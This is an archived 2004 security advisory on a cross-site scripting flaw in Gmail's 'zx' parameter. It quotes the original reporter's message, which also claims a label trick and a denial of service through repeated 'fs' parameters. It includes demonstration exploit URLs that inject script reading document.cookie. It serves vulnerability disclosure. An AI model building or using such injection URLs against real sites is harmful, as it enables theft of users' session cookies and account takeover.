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Category:   Application (E-mail Server)  >   GMail Vendors:   Google
Gmail 'zx' Variable Input Validation Bug Lets Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1012289
SecurityTracker URL:  http://securitytracker.com/id/1012289
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 20 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  

Description:   Lostmon reported an input validation vulnerability in Gmail. A remote user can conduct cross-site scripting attacks.

It is reported that the zx variable is not properly validated. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the Gmail site and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit URL is provided:

http://[target]/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=18acabd2b173f0d81040559556<script>alert(document.cookie)</script>&fs=1

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the Gmail site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   [Editor's note: From testing, it appears that this flaw has been corrected, but that was not confirmed in the report.]
Vendor URL:  www.google.com/ (Links to External Site)
Cause:   Input validation error

Message History:   None.


 Source Message Contents

Subject:  multiples vulnerabilities in gmail service (XSS, Denial of Service,)


#######################################
Denial of service On gmail account
vendor url: http://gmail.google.com/
vendor notified:yes exploit included :yes
original advisore:http://lostmon.spymac.net/blog/
########################################

Gmail service have these two vulnerabilities :

1- change a name of button of "remove label" and can create a Ghost categorie.

http://gmail.google.com/gmail?search=cat&cat=[label_name]&view=tl&start=0&zx=18acabd2b173f0d81040559556&fs=1

2 .variable xz no validate properly the imput and can permit execute XSS code 


http://gmail.google.com/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=18acabd2b173f0d81040559556[XSS-code]&fs=1

3.Denial of service fs variable not count how many times is in url and ,,,,

http://gmail.google.com/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=18acabd2b173f0d81040559556&fs=%3Cscript%3Ealert(
document.cookie)%3C%2Fscript%3E&fs=1

or 

http://gmail.google.com/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=18acabd2b173f0d81040559556&fs=%3Cscript%3Ealert(
document.cookie)%3C%2Fscript%3E&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1

nice :)

atentamente:

Lostmon


thnx to http://www.ayuda-internet.net for their support 
Thnx to Rottew and ismax
Thx to estrella to be my ligth 
 
La curiosidad es lo que hace mover la mente....
 
 


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